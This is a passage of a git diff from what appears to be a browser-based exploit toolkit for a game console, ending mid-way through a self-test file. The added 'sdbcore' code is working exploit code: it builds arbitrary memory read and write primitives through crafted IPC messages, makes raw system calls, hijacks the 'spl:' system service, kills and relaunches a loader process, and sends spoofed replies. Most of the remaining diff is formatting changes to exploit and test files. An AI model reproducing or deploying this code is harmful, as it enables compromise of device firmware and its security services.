utils.add2(this.sdbPluSP, 128 + 8 * i)); + } + } + + this.write8(funcptr, utils.add2(this.pdm_base, 0x2a0)); + + this.ipcData[5] = this.pdmCallE[0]; + this.ipcData[6] = this.pdmCallE[1]; + + var ipc = sc.ipcMsg(1); + ipc.datau32.apply(ipc, this.ipcData); + var lo = ipc.sendTo('pl:u').cmdId; + + scratchOff = 0; + if(args.length > 0) { + for(var i = 0; i < 30 && i < args.length; i++) { + if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { + var size = args[i].byteLength; + var saddr = utils.add2(this.scratch, scratchOff); + this.memcpyToBrowser(args[i], saddr, size); + scratchOff += size; + if(scratchOff & 0x7) + scratchOff = (scratchOff & 0xFFFFFFF8) + 8; + } + } + } + return [lo, this.read4(utils.add2(this.pdm_base, 0x2e8 + 4))]; +}; + +sdbcore.prototype.read8 = function(addr) { + return [this.read4(addr), this.read4(utils.add2(addr, 4))]; +}; + +sdbcore.prototype.read4 = function(addr) { + var id2 = new Uint32Array(24); + id2[3] = this.pdmNext[0]; + id2[4] = this.pdmNext[1]; + id2[5] = this.pdmEntry[0]; + id2[6] = this.pdmEntry[1]; + id2[9] = addr[0]; + id2[10] = addr[1]; + id2[13] = this.ipcGat13r[0]; + id2[14] = this.ipcGat13r[1]; + id2[15] = this.ipcGat1[0]; + id2[16] = this.ipcGat1[1]; + id2[17] = this.ipcGat9[0]; + id2[18] = this.ipcGat9[1]; + id2[19] = this.ipcGat2[0]; + id2[20] = this.ipcGat2[1]; + + var ipc = sc.ipcMsg(1); + ipc.datau32.apply(ipc, id2); + return ipc.sendTo('pl:u').cmdId; +}; + +sdbcore.prototype.read2 = function(addr) { + throw 'sdbcore.read2 not implemented'; +}; + +sdbcore.prototype.read1 = function(addr) { + throw 'sdbcore.read1 not implemented'; +}; + +sdbcore.prototype.write8 = function(val, addr) { + var id = new Uint32Array(24); + id[3] = addr[0]; + id[4] = addr[1]; + id[5] = this.pdmEntry[0]; + id[6] = this.pdmEntry[1]; + id[9] = val[0]; + id[10] = val[1]; + id[13] = this.ipcGat13w[0]; + id[14] = this.ipcGat13w[1]; + id[15] = this.ipcGat1[0]; + id[16] = this.ipcGat1[1]; + id[17] = this.ipcGat9[0]; + id[18] = this.ipcGat9[1]; + id[19] = this.ipcGat2[0]; + id[20] = this.ipcGat2[1]; + + var ipc = sc.ipcMsg(1); + ipc.datau32.apply(ipc, id); + ipc.sendTo('pl:u'); +}; + +sdbcore.prototype.write82 = function(val, addr) { + var id = new Uint32Array(24); + id[3] = addr[0]; + id[4] = addr[1]; + id[5] = this.pdmEntry[0]; + id[6] = this.pdmEntry[1]; + id[9] = val[0]; + id[10] = val[1]; + id[13] = this.ipcGat13w[0]; + id[14] = this.ipcGat13w[1]; + id[15] = this.ipcGat1[0]; + id[16] = this.ipcGat1[1]; + id[17] = this.ipcGat9[0]; + id[18] = this.ipcGat9[1]; + id[19] = this.ipcGat2[0]; + id[20] = this.ipcGat2[1]; + + var ipc = sc.ipcMsg(1); + ipc.datau32.apply(ipc, id); + ipc.sendTo('pl:u'); +}; + +sdbcore.prototype.write4 = function(val, addr) { + throw 'sdbcore.write4 not implemented'; +}; + +sdbcore.prototype.write2 = function(val, addr) { + throw 'sdbcore.write2 not implemented'; +}; + +sdbcore.prototype.write1 = function(val, addr) { + throw 'sdbcore.write1 not implemented'; +}; + +sdbcore.prototype.memcpyFromBrowser = function(dst, src, size) { + for(var i = 0; i < size; i += 8) { + var s = utils.add2(src, i); + //utils.log('[Bro] Reading ' + i); + var v = [src[i >>> 2], src[(i >>> 2) + 1]]; + //utils.log('[SDB] Writing ' + utils.paddr(v) + ' to ' + i); + this.write82(v, utils.add2(dst, i)); + } +}; + +sdbcore.prototype.memcpyToBrowser = function(dst, src, size) { + var sub = []; + for(var i = 0; i < size; i += 4) { + //utils.log('[SDB] Reading ' + i); + var v = this.read4(utils.add2(src, i)); + //utils.log('[Bro] Writing ' + v.toString(16) + ' to ' + i); + dst[i >> 2] = v; + } +}; + +sdbcore.prototype.malloc = function(size) { + //return this.slowCall(this.offsets['malloc'], [0, size]); +}; + +sdbcore.prototype.free = function(addr) { + //this.slowCall(this.offsets['free'], [0, addr]); +}; + +sdbcore.prototype.setup_ro_hax = function() { + var sdbIpcBuf = utils.add2(this.sdb_base, 0x150000); + + var sdb = this; + var sc = this.sc; + + function waitHandles(handles) { + for(var i = 0; i < handles.length; ++i) + sdb.write8([handles[i], 0], utils.add2(sdbIpcBuf, 4 + i * 4)); + var ret = sdb.svc(0x18, [sdbIpcBuf, utils.add2(sdbIpcBuf, 4), handles.length, 0])[0]; + var hndI = sdb.read4(sdbIpcBuf); + return [ret, hndI]; + } + + function acceptSession(handle) { + sdb.svc(0x41, [sdbIpcBuf, handle]); + return sdb.read4(sdbIpcBuf); + } + + function readIncoming(handle) { + utils.log('Writing handle'); + sdb.write8([handle, 0], sdb.scratch); + utils.log('replyandreceive'); + var ret = sdb.svc(0x44, [sdb.scratch, sdbIpcBuf, 0x1000, sdb.scratch, 1, [0, 0], [0xffffffff, 0xffffffff]])[0]; + utils.log('Copying data'); + if(ret == 0xf601) + return null; + var data = new Uint32Array(0x100); + sdb.memcpyToBrowser(data, sdbIpcBuf, 7 << 2); + utils.log('Done?'); + return data; + } + + function respond(handle, data) { + utils.log('Attempting to respond'); + sdb.memcpyFromBrowser(sdbIpcBuf, data, data.length << 2); + utils.log('replyandreceive'); + utils.log(utils.paddr(sdb.svc(0x44, [sdb.scratch, sdbIpcBuf, 0x1000, sdb.scratch, 0, handle, [0, 0]]))); + utils.log('Done?'); + } + + this.sc.unregisterService('spl:'); + + utils.log('Opening SM handle'); + utils.log(utils.paddr(sdb.svc(0x1F, [sdbIpcBuf, utils.add2(sdb.sdb_base, 0x71807)]))); + var sdbSmHandle = sdb.read4(sdbIpcBuf); + utils.log('SM handle: ' + sdbSmHandle.toString(16)); + + var data = new Uint32Array([0x4, 0xc, 0, 0, 0x49434653, 0, 2, 0, 0x3a6c7073, 0, 200, 0x20]); + sdb.memcpyFromBrowser(sdbIpcBuf, data, data.length << 2); + utils.log(utils.paddr(sdb.svc(0x22, [sdbIpcBuf, 0x1000, sdbSmHandle]))); + var output = new Uint32Array(0x100 >> 2); + sdb.memcpyToBrowser(output, sdbIpcBuf, 4 << 2); + + for(var i = 0; i < 4; ++i) + utils.log(output[i].toString(16)); + + var portHandle = output[3]; + utils.log('Port handle: ' + portHandle.toString(16)); + var handles = [portHandle]; + + waitHandles(handles); + + var lgetServicePid = function(service) { + this.sc.killAutoHandle(); + var res = this.sc.ipcMsg(2).setType(3).datau64(0).sendTo(service).show(); + this.sc.svcCloseHandle(res.movedHandles[0]); + return res.pid[0]; + }; + + var service = 'ldr:ro'; + var pid = lgetServicePid(service); + utils.log(service + ' is PID 0x'+pid.toString(16)); + + this.sc.ipcMsg(1).data(pid).sendTo('pm:shell').show(); + + var tid = utils.parseAddr('0100000000000037'); + + var newPid = this.sc.ipcMsg(0).datau64(0, tid, 3).sendTo('pm:shell').show().data[1][0]; + + var interval = setInterval(function() { + var temp = waitHandles(handles); + switch(temp[0]) { + case 0: + utils.log('Handle ' + temp[1] + ' ready'); + var handle = handles[temp[1]]; + if(handle == portHandle) { + var pipe = acceptSession(portHandle); + utils.log('Accepted new pipe ' + pipe.toString(16)); + handles.push(pipe); + } else { + utils.log('Got incoming message on ' + handle.toString(16)); + var data = readIncoming(handle); + if(data == null) { + utils.log('Pipe closed. Removing.'); + sdb.svc(0x16, [handle]); + handles.splice(handles.indexOf(handle), 1); + clearInterval(interval); // We should be done now! + if (sdb.onready != null) + sdb.onready(); + break; + } + + if(data[6] == 11) { // GetDevUnitFlag + respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 0, 0])); + } else if(data[6] == 0) { + respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 1, 0])); + } else { + clearInterval(interval); + } + } + break; + case 0xea01: + break; + default: + utils.log('Unknown ret for wait: ' + temp[0].toString(16)); + break; + } + }, 100); +}; + +module.exports = sdbcore; diff --git a/exploit/sploitcore.js b/exploit/sploitcore.js index dac7b40..aa842e0 100644 --- a/exploit/sploitcore.js +++ b/exploit/sploitcore.js @@ -74,10 +74,10 @@ var SploitCore = function (exploitMe) { this.mainTextSize = 0x5B2000; this.wkcTextSize = 0xF37000; - this.is_1_0_0 = navigator.userAgent.indexOf('4.0.0.4.25') != -1; - if (this.is_1_0_0) { - this.mainTextSize = 0x5E7000; - } + this.is_1_0_0 = navigator.userAgent.indexOf('4.0.0.4.25') != -1; + if (this.is_1_0_0) { + this.mainTextSize = 0x5E7000; + } this.gadgetCache = this.loadCache(); this.fake_stack = this.malloc(0x100000); @@ -117,7 +117,7 @@ var SploitCore = function (exploitMe) { var x1 = utils.str2ab(cls); var x2 = utils.str2ab(nam); return sc.ipcMsg(38).bDescriptor(out, 4, 0).xDescriptor(x1, 48, 0).xDescriptor(x2, 48, 1).sendTo(session).asResult().map((r) => out[0]); - } + }; var setSetting = function (session, cls, nam, value) { // session is set:fd var a = new Uint32Array(1); @@ -125,7 +125,7 @@ var SploitCore = function (exploitMe) { var x1 = utils.str2ab(cls); var x2 = utils.str2ab(nam); return sc.ipcMsg(2).xDescriptor(x1, 48, 0).xDescriptor(x2, 48, 1).aDescriptor(a, 4, 0).sendTo(session).asResult(); - } + }; var cls = 'eupld', name = 'upload_enabled'; var orig = getSetting(setsys, cls, name).assertOk(); if(orig == 1) { @@ -1028,7 +1028,7 @@ SploitCore.prototype.enableTurbo = function() { SploitCore.prototype.disableTurbo = function() { this.turbo = false; -} +}; /** Copy memory from one region to another diff --git a/exploit/svc.js b/exploit/svc.js index 9205fa6..a3efdfa 100644 --- a/exploit/svc.js +++ b/exploit/svc.js @@ -233,6 +233,6 @@ svcMixin.svcWaitSynchronization = function (handles, timeout) { var handlesBuffer = new Uint32Array(handles); var handleIdxBuffer = new Uint32Array(1); return this.svcWithResult(0x18, [handleIdxBuffer, handlesBuffer, handlesBuffer.length, timeout]).replaceValue(handleIdxBuffer[0]); -} +}; module.exports = svcMixin; diff --git a/scripts/selftest.js b/scripts/selftest.js index 33acdc5..79851bb 100644 --- a/scripts/selftest.js +++ b/scripts/selftest.js @@ -2,636 +2,636 @@ var tests = []; var fails = 0; class Test { - constructor(description, impl) { - this.description = description; - this.impl = impl; - tests.push(this); - } - - run() { - utils.log("test that " + this.description + "..."); - var self = this; - return new Promise((resolve, reject) => resolve(self.impl())).then((result) => { - if(!result) { throw "test failed"; } - utils.log(" PASS ✓"); - return true; - }).catch((err) => { - fails++; - utils.log(" FAIL ✗ " + err); - utils.log(err.stack); - return false; - }); - } + constructor(description, impl) { + this.description = description; + this.impl = impl; + tests.push(this); + } + + run() { + utils.log("test that " + this.description + "..."); + var self = this; + return new Promise((resolve, reject) => resolve(self.impl())).then((result) => { + if(!result) { throw "test failed"; } + utils.log(" PASS ✓"); + return true; + }).catch((err) => { + fails++; + utils.log(" FAIL ✗ " + err); + utils.log(err.stack); + return false; + }); + } } function assertEq(a, b) { - if(a != b) { - throw "assertion failed: " + a + " != " + b; - } - return true; + if(a != b) { + throw "assertion failed: " + a + " != " + b; + } + return true; } function assertNotEq(a, b) { - if(a == b) { - throw "assertion failed: " + a + " == " + b; - } - return true; + if(a == b) { + throw "assertion failed: " + a + " == " + b; + } + return true; } function assertPairEq(a, b) { - if(a[0] != b[0] || a[1] != b[1]) { - throw "assertion failed: " + utils.paddr(a) + " != " + utils.paddr(b); - } - return true; + if(a[0] != b[0] || a[1] != b[1]) { + throw "assertion failed: " + utils.paddr(a) + " != " + utils.paddr(b); + } + return true; } function assertPairNotEq(a, b) { - if(a[0] == b[0] && a[1] == b[1]) { - throw "assertion failed: " + utils.paddr(a) + " == " + utils.paddr(b); - } - return true; + if(a[0] == b[0] && a[1] == b[1]) { + throw "assertion failed: " + utils.paddr(a) + " == " + utils.paddr(b); + } + return true; } function assertArrayEq(a, b) { - if(a.length !== b.length) { - throw "length does not match"; - } - if(a.every((v, i) => v === b[i])) { - return true; - } else { - utils.log("a: " + a); - utils.log("b: " + b); - throw "mismatch"; - } + if(a.length !== b.length) { + throw "length does not match"; + } + if(a.every((v, i) => v === b[i])) { + return true; + } else { + utils.log("a: " + a); + utils.log("b: " + b); + throw "mismatch"; + } } function assertErrorMessageStartsWith(em, fn) { - try { - fn(); - } catch(e) { - if(!e instanceof Error) { - throw "expected to catch Error, got " + e; - } - if(!e.message) { - throw "error '" + e + "' has no message"; - } - if(!e.message.startsWith(em)) { - throw "error message '" + e.message + "' does not start with " + em; - } - return true; - } - throw "no Error thrown"; + try { + fn(); + } catch(e) { + if(!e instanceof Error) { + throw "expected to catch Error, got " + e; + } + if(!e.message) { + throw "error '" + e + "' has no message"; + } + if(!e.message.startsWith(em)) { + throw "error message '" + e.message + "' does not start with " + em; + } + return true; + } + throw "no Error thrown"; } function assertArrayEq(a, b) { - if(a.length !== b.length) { - throw "length does not match"; - } - if(a.every((v, i) => v === b[i])) { - return true; - } else { - utils.log("a: " + a); - utils.log("b: " + b); - throw "mismatch"; - } + if(a.length !== b.length) { + throw "length does not match"; + } + if(a.every((v, i) => v === b[i])) { + return true; + } else { + utils.log("a: " + a); + utils.log("b: " + b); + throw "mismatch"; + } } new Test("utils.paddr starts with 0x", () => { - return utils.paddr([0,0]).startsWith("0x"); + return utils.paddr([0,0]).startsWith("0x"); }); new Test("utils.paddr works", () => { - return utils.paddr([0x12345678, 0x9ABCDEF0]) == "0x9abcdef012345678"; + return utils.paddr([0x12345678, 0x9ABCDEF0]) == "0x9abcdef012345678"; }); new Test("utils.assertu32 will fail on non-integers", () => { - [NaN, Infinity, "a", {}, [], new ArrayBuffer(10), null, undefined, 0.4].forEach((t) => { - assertErrorMessageStartsWith("expected integer", () => utils.assertu32(t)); - }); - return true; + [NaN, Infinity, "a", {}, [], new ArrayBuffer(10), null, undefined, 0.4].forEach((t) => { + assertErrorMessageStartsWith("expected integer", () => utils.assertu32(t)); + }); + return true; }); new Test("utils.assertu32 will fail on signed numbers", () => { - return assertErrorMessageStartsWith("expected pos", () => utils.assertu32(-3)); + return assertErrorMessageStartsWith("expected pos", () => utils.assertu32(-3)); }); new Test("utils.assertu32 will fail on numbers >= 2^32", () => { - return assertErrorMessageStartsWith("too large", () => utils.assertu32(0x100000000)); + return assertErrorMessageStartsWith("too large", () => utils.assertu32(0x100000000)); }); new Test("utils.assertu32 returns the same number if it is a u32", () => { - return assertEq(utils.assertu32(0xADADDAB5), 0xADADDAB5); + return assertEq(utils.assertu32(0xADADDAB5), 0xADADDAB5); }); new Test("utils.assertu64 will fail on non-array types", () => { - [NaN, Infinity, "a", {}, 6, new ArrayBuffer(10), null, undefined, 0.4].forEach((t) => { - assertErrorMessageStartsWith("expected array", () => utils.assertu64(t)); - }); - return true; + [NaN, Infinity, "a", {}, 6, new ArrayBuffer(10), null, undefined, 0.4].forEach((t) => { + assertErrorMessageStartsWith("expected array", () => utils.assertu64(t)); + }); + return true; }); new Test("utils.assertu64 will fail on non [lo, hi] pairs", () => { - [[0], [0, 1, 2], []].forEach((t) => { - assertErrorMessageStartsWith("expected [lo, hi]", () => utils.assertu64(t)); - }); - return true; + [[0], [0, 1, 2], []].forEach((t) => { + assertErrorMessageStartsWith("expected [lo, hi]", () => utils.assertu64(t)); + }); + return true; }); new Test("utils.assertu64 will fail on pairs of non-u32s", () => { - [[-1, 4], [0.4, 4], [NaN, 4], [4, 0.6], [0xFF, 0x100000000]].forEach((t) => { - assertErrorMessageStartsWith("", () => utils.assertu64(t)); - }); - return true; + [[-1, 4], [0.4, 4], [NaN, 4], [4, 0.6], [0xFF, 0x100000000]].forEach((t) => { + assertErrorMessageStartsWith("", () => utils.assertu64(t)); + }); + return true; }); new Test("utils.assertu64 returns the same number if it is a [u32, u32] pair", () => { - return assertPairEq(utils.assertu64([0xADadDab5, 0x42Bee52C]), [0xADadDab5, 0x42Bee52C]); + return assertPairEq(utils.assertu64([0xADadDab5, 0x42Bee52C]), [0xADadDab5, 0x42Bee52C]); }); new Test("utils.trunc32 will truncate [lo, 0] pairs", () => { - return assertEq(utils.trunc32([0x3BadBee5, 0]), 0x3BadBee5); + return assertEq(utils.trunc32([0x3BadBee5, 0]), 0x3BadBee5); }); new Test("utils.trunc32 will not truncate [lo, hi>0] pairs", () => { - return assertErrorMessageStartsWith("high 32 bits must be clear", () => utils.trunc32([ - 0xCDad1ef7, 0xBeef // (on the picnic table) - ])); + return assertErrorMessageStartsWith("high 32 bits must be clear", () => utils.trunc32([ + 0xCDad1ef7, 0xBeef // (on the picnic table) + ])); }); new Test("utils.trunc32 will assert numbers are u32", () => { - return assertErrorMessageStartsWith("expected integer", () => utils.trunc32(0.4)); + return assertErrorMessageStartsWith("expected integer", () => utils.trunc32(0.4)); }); new Test("utils.trunc32 will return u32", () => { - return assertEq(utils.trunc32(0xBadBee5), 0xBadBee5); + return assertEq(utils.trunc32(0xBadBee5), 0xBadBee5); }); new Test("utils.trunclt32 will return u32", () => { - return assertEq(utils.trunclt32(0xEA7, 13), 0xEa7); + return assertEq(utils.trunclt32(0xEA7, 13), 0xEa7); }); new Test("utils.trunclt32 will not truncate 1 bits", () => { - return assertErrorMessageStartsWith("number is too large", () => utils.trunclt32(0xDad5, 13)); + return assertErrorMessageStartsWith("number is too large", () => utils.trunclt32(0xDad5, 13)); }); new Test("utils.trunclt32 will truncate [lo, 0] pairs", () => { - return assertEq(utils.trunclt32([0xBeef, 0], 32), 0xBeef); + return assertEq(utils.trunclt32([0xBeef, 0], 32), 0xBeef); }); new Test("utils.trunclt32 will not truncate [lo, hi>0] pairs", () => { - return assertErrorMessageStartsWith("high", () => utils.trunclt32([0xDad155ad, 0xBeca05e], 32)); + return assertErrorMessageStartsWith("high", () => utils.trunclt32([0xDad155ad, 0xBeca05e], 32)); }); new Test("utils.trunclt32 will fail on non [lo, hi] pairs or non integers", () => { - [NaN, Infinity, "a", {}, [], new ArrayBuffer(10), null, undefined, 0.4, [0], [1, 2, 3]].forEach((t) => { - assertErrorMessageStartsWith("", () => utils.trunclt32(t, 32)); - }); - return true; + [NaN, Infinity, "a", {}, [], new ArrayBuffer(10), null, undefined, 0.4, [0], [1, 2, 3]].forEach((t) => { + assertErrorMessageStartsWith("", () => utils.trunclt32(t, 32)); + }); + return true; }); new Test("utils.trunclt32 will not accept bit numbers greater than 32", () => { - return assertErrorMessageStartsWith("can't truncate > 32 bits", () => utils.trunclt32(0xDad1057, 0xF00d)); + return assertErrorMessageStartsWith("can't truncate > 32 bits", () => utils.trunclt32(0xDad1057, 0xF00d)); }); new Test("utils.trunclt64 will fail on numbers too large for n bits", () => { - return assertErrorMessageStartsWith("number is too large", () => utils.trunclt64([0xDad5Babe, 0x5ee5Bee5], 57)); + return assertErrorMessageStartsWith("number is too large", () => utils.trunclt64([0xDad5Babe, 0x5ee5Bee5], 57)); }); new Test("utils.trunclt64 will return the same number on success", () => { - return assertPairEq(utils.trunclt64([0xBabe15, 0x5ca4ed], 56), [0xBabe15, 0x5ca4ed]); + return assertPairEq(utils.trunclt64([0xBabe15, 0x5ca4ed], 56), [0xBabe15, 0x5ca4ed]); }); new Test("utils.trunclt64 will return the same number on success (trunc 64 bits)", () => { - return assertPairEq(utils.trunclt64([0xBabe15, 0x5ca4ed], 64), [0xBabe15, 0x5ca4ed]); + return assertPairEq(utils.trunclt64([0xBabe15, 0x5ca4ed], 64), [0xBabe15, 0x5ca4ed]); }); new Test("utils.pad64 will assert arrays are [lo, hi]", () => { - return assertErrorMessageStartsWith("expected [lo, hi]", () => utils.pad64([0, 1, 2])); + return assertErrorMessageStartsWith("expected [lo, hi]", () => utils.pad64([0, 1, 2])); }); new Test("utils.pad64 expects [lo, hi] or u32", () => { - return assertErrorMessageStartsWith("expected [lo,hi] or number", () => utils.pad64({})); + return assertErrorMessageStartsWith("expected [lo,hi] or number", () => utils.pad64({})); }); new Test("utils.pad64 asserts u32", () => { - return assertErrorMessageStartsWith("expected integer", () => utils.pad64(0.4)); + return assertErrorMessageStartsWith("expected integer", () => utils.pad64(0.4)); }); new Test("utils.pad64 will convert u32 to [lo, hi]", () => { - return assertPairEq(utils.pad64(0x0fBee5), [0x0fBee5, 0]); + return assertPairEq(utils.pad64(0x0fBee5), [0x0fBee5, 0]); }); new Test("utils.pad64 will return [lo, hi]", () => { - return assertPairEq(utils.pad64([0xDad5ee5, 0xBadBee5]), [0xDad5ee5, 0xBadBee5]); + return assertPairEq(utils.pad64([0xDad5ee5, 0xBadBee5]), [0xDad5ee5, 0xBadBee5]); }); new Test("utils.packBitfield works", () => { - return utils.packBitfield([ - {targetBegin: 0, size: 4}, - {targetBegin: 4, sourceBegin: 2, size: 4}, - {targetBegin: 8, sourceBegin: 2, sourceEnd: 7}, - {targetBegin: 13, targetEnd: 16} - ], [0xFF3, 0xFF9, 0xF48, 0xFF4]) + return utils.packBitfield([ + {targetBegin: 0, size: 4}, + {targetBegin: 4, sourceBegin: 2, size: 4}, + {targetBegin: 8, sourceBegin: 2, sourceEnd: 7}, + {targetBegin: 13, targetEnd: 16} + ], [0xFF3, 0xFF9, 0xF48, 0xFF4]) == ( - (3 << 0) | + (3 << 0) | (14 << 4) | (18 << 8) | (4 << 13)); }); new Test("utils.unpackBitfield works", () => { - return assertArrayEq( - utils.unpackBitfield([ - {targetBegin: 0, size: 4}, - {targetBegin: 4, sourceBegin: 2, size: 4}, - {targetBegin: 8, sourceBegin: 2, sourceEnd: 7}, - {targetBegin: 13, targetEnd: 16} - ], - (3 << 0) | + return assertArrayEq( + utils.unpackBitfield([ + {targetBegin: 0, size: 4}, + {targetBegin: 4, sourceBegin: 2, size: 4}, + {targetBegin: 8, sourceBegin: 2, sourceEnd: 7}, + {targetBegin: 13, targetEnd: 16} + ], + (3 << 0) | (14 << 4) | (18 << 8) | (4 << 13)), - [3, 14 << 2, 18 << 2, 4]); + [3, 14 << 2, 18 << 2, 4]); }); new Test("sc.getArrayBufferAddr works", () => { - var ab = new ArrayBuffer(32); - var addr1 = sc.getArrayBufferAddr(ab); - assertPairNotEq(addr1, [0,0]); - var addr2 = sc.getArrayBufferAddr(ab); - assertPairEq(addr1, addr2); - var ab2 = new ArrayBuffer(32); - var addr3 = sc.getArrayBufferAddr(ab2); - assertPairNotEq(addr2, addr3); - return true; + var ab = new ArrayBuffer(32); + var addr1 = sc.getArrayBufferAddr(ab); + assertPairNotEq(addr1, [0,0]); + var addr2 = sc.getArrayBufferAddr(ab); + assertPairEq(addr1, addr2); + var ab2 = new ArrayBuffer(32); + var addr3 = sc.getArrayBufferAddr(ab2); + assertPairNotEq(addr2, addr3); + return true; }); new Test("sc.getArrayBufferAddr works with TypedArrays", () => { - var ab = new ArrayBuffer(256); - var baseAddr = sc.getArrayBufferAddr(ab); - var u32sub = new Uint32Array(ab, 44, 30); - var subAddr = sc.getArrayBufferAddr(u32sub); - assertPairEq(utils.add2(baseAddr, 44), subAddr); - return true; + var ab = new ArrayBuffer(256); + var baseAddr = sc.getArrayBufferAddr(ab); + var u32sub = new Uint32Array(ab, 44, 30); + var subAddr = sc.getArrayBufferAddr(u32sub); + assertPairEq(utils.add2(baseAddr, 44), subAddr); + return true; }); new Test("sc.read4 works", () => { - var u32 = new Uint32Array(16); - u32[0] = 0xAAAA; - u32[1] = 0xBBBB; - u32[2] = 0xCCCC; - assertEq(sc.read4(sc.getArrayBufferAddr(u32.buffer), 0), 0xAAAA); - assertEq(sc.read4(sc.getArrayBufferAddr(u32.buffer), 1), 0xBBBB); - assertEq(sc.read4(sc.getArrayBufferAddr(u32.buffer), 2), 0xCCCC); + var u32 = new Uint32Array(16); + u32[0] = 0xAAAA; + u32[1] = 0xBBBB; + u32[2] = 0xCCCC; + assertEq(sc.read4(sc.getArrayBufferAddr(u32.buffer), 0), 0xAAAA); + assertEq(sc.read4(sc.getArrayBufferAddr(u32.buffer), 1), 0xBBBB); + assertEq(sc.read4(sc.getArrayBufferAddr(u32.buffer), 2), 0xCCCC); - u32[0] = 0xDDDD; - assertEq(sc.read4(sc.getArrayBufferAddr(u32.buffer), 0), 0xDDDD); - return true; + u32[0] = 0xDDDD; + assertEq(sc.read4(sc.getArrayBufferAddr(u32.buffer), 0), 0xDDDD); + return true; }); new Test("sc.write4 works", () => { - var u32 = new Uint32Array(16); - u32[0] = 0; - u32[1] = 0; - u32[2] = 0; + var u32 = new Uint32Array(16); + u32[0] = 0; + u32[1] = 0; + u32[2] = 0; - sc.write4(0xAAAA, sc.getArrayBufferAddr(u32.buffer), 0); - assertEq(u32[0], 0xAAAA); - assertEq(u32[1], 0x0000); - assertEq(u32[2], 0x0000); + sc.write4(0xAAAA, sc.getArrayBufferAddr(u32.buffer), 0); + assertEq(u32[0], 0xAAAA); + assertEq(u32[1], 0x0000); + assertEq(u32[2], 0x0000); - sc.write4(0xBBBB, sc.getArrayBufferAddr(u32.buffer), 1); - assertEq(u32[0], 0xAAAA); - assertEq(u32[1], 0xBBBB); - assertEq(u32[2], 0x0000); + sc.write4(0xBBBB, sc.getArrayBufferAddr(u32.buffer), 1); + assertEq(u32[0], 0xAAAA); + assertEq(u32[1], 0xBBBB); + assertEq(u32[2], 0x0000); - return true; + return true; }); new Test("sc.read8 works", () => { - var u32 = new Uint32Array(16); - u32[0] = 0xAAAA; - u32[1] = 0xBBBB; - u32[2] = 0xCCCC; - u32[3] = 0xDDDD; + var u32 = new Uint32Array(16); + u32[0] = 0xAAAA; + u32[1] = 0xBBBB; + u32[2] = 0xCCCC; + u32[3] = 0xDDDD; - assertPairEq(sc.read8(sc.getArrayBufferAddr(u32.buffer), 0), [u32[0], u32[1]]); - assertPairEq(sc.read8(sc.getArrayBufferAddr(u32.buffer), 1), [u32[1], u32[2]]); - assertPairEq(sc.read8(sc.getArrayBufferAddr(u32.buffer), 2), [u32[2], u32[3]]); - return true; + assertPairEq(sc.read8(sc.getArrayBufferAddr(u32.buffer), 0), [u32[0], u32[1]]); + assertPairEq(sc.read8(sc.getArrayBufferAddr(u32.buffer), 1), [u32[1], u32[2]]); + assertPairEq(sc.read8(sc.getArrayBufferAddr(u32.buffer), 2), [u32[2], u32[3]]); + return true; }); new Test("sc.write8 works", () => { - var u32 = new Uint32Array(16); - u32[0] = 0x1111; - u32[1] = 0x2222; - u32[2] = 0x3333; - u32[3] = 0x4444; - - sc.write8([0xAAAA, 0xBBBB], sc.getArrayBufferAddr(u32.buffer), 0); - assertEq(u32[0], 0xAAAA); - assertEq(u32[1], 0xBBBB); - assertEq(u32[2], 0x3333); - assertEq(u32[3], 0x4444); - - sc.write8([0xFEFE, 0x9A9A], sc.getArrayBufferAddr(u32.buffer), 1); - assertEq(u32[0], 0xAAAA); - assertEq(u32[1], 0xFEFE); - assertEq(u32[2], 0x9A9A); - assertEq(u32[3], 0x4444); + var u32 = new Uint32Array(16); + u32[0] = 0x1111; + u32[1] = 0x2222; + u32[2] = 0x3333; + u32[3] = 0x4444; + + sc.write8([0xAAAA, 0xBBBB], sc.getArrayBufferAddr(u32.buffer), 0); + assertEq(u32[0], 0xAAAA); + assertEq(u32[1], 0xBBBB); + assertEq(u32[2], 0x3333); + assertEq(u32[3], 0x4444); + + sc.write8([0xFEFE, 0x9A9A], sc.getArrayBufferAddr(u32.buffer), 1); + assertEq(u32[0], 0xAAAA); + assertEq(u32[1], 0xFEFE); + assertEq(u32[2], 0x9A9A); + assertEq(u32[3], 0x4444); - sc.write8([0xCCCC, 0xDDDD], sc.getArrayBufferAddr(u32.buffer), 2); - assertEq(u32[0], 0xAAAA); - assertEq(u32[1], 0xFEFE); - assertEq(u32[2], 0xCCCC); - assertEq(u32[3], 0xDDDD); + sc.write8([0xCCCC, 0xDDDD], sc.getArrayBufferAddr(u32.buffer), 2); + assertEq(u32[0], 0xAAAA); + assertEq(u32[1], 0xFEFE); + assertEq(u32[2], 0xCCCC); + assertEq(u32[3], 0xDDDD); - return true; + return true; }); new Test("sc.memview works", () => { - var u32 = new Uint32Array(16); - u32[0] = 0x1111; - u32[1] = 0x2222; - u32[2] = 0x3333; - u32[3] = 0x4444; - - sc.memview(sc.getArrayBufferAddr(u32.buffer), 16*4, (view) => { - var u32view = new Uint32Array(view); - u32view[0] = 0xAAAA; - u32view[1] = 0xBBBB; - u32view[3] = 0xDDDD; - }); - - assertEq(u32[0], 0xAAAA); - assertEq(u32[1], 0xBBBB); - assertEq(u32[2], 0x3333); - assertEq(u32[3], 0xDDDD); - - sc.gc(); + var u32 = new Uint32Array(16); + u32[0] = 0x1111; + u32[1] = 0x2222; + u32[2] = 0x3333; + u32[3] = 0x4444; + + sc.memview(sc.getArrayBufferAddr(u32.buffer), 16*4, (view) => { + var u32view = new Uint32Array(view); + u32view[0] = 0xAAAA; + u32view[1] = 0xBBBB; + u32view[3] = 0xDDDD; + }); + + assertEq(u32[0], 0xAAAA); + assertEq(u32[1], 0xBBBB); + assertEq(u32[2], 0x3333); + assertEq(u32[3], 0xDDDD); + + sc.gc(); - return true; + return true; }); new Test("sc.memview returns value returned from inner function", () => { - var u32 = new Uint32Array(16); - assertEq(sc.memview(sc.getArrayBufferAddr(u32.buffer), 16*4, (view) => { - return "returned value"; - }), "returned value"); - sc.gc(); - return true; + var u32 = new Uint32Array(16); + assertEq(sc.memview(sc.getArrayBufferAddr(u32.buffer), 16*4, (view) => { + return "returned value"; + }), "returned value"); + sc.gc(); + return true; }); new Test("sc.memview propogates exceptions and doesn't blow up", () => { - try { - sc.memview([0,0], 300, () => { - throw "boo!"; - }); - } catch(e) { - assertEq(e, "boo!"); - sc.gc(); - return true; - } - throw "exception was not propogated"; + try { + 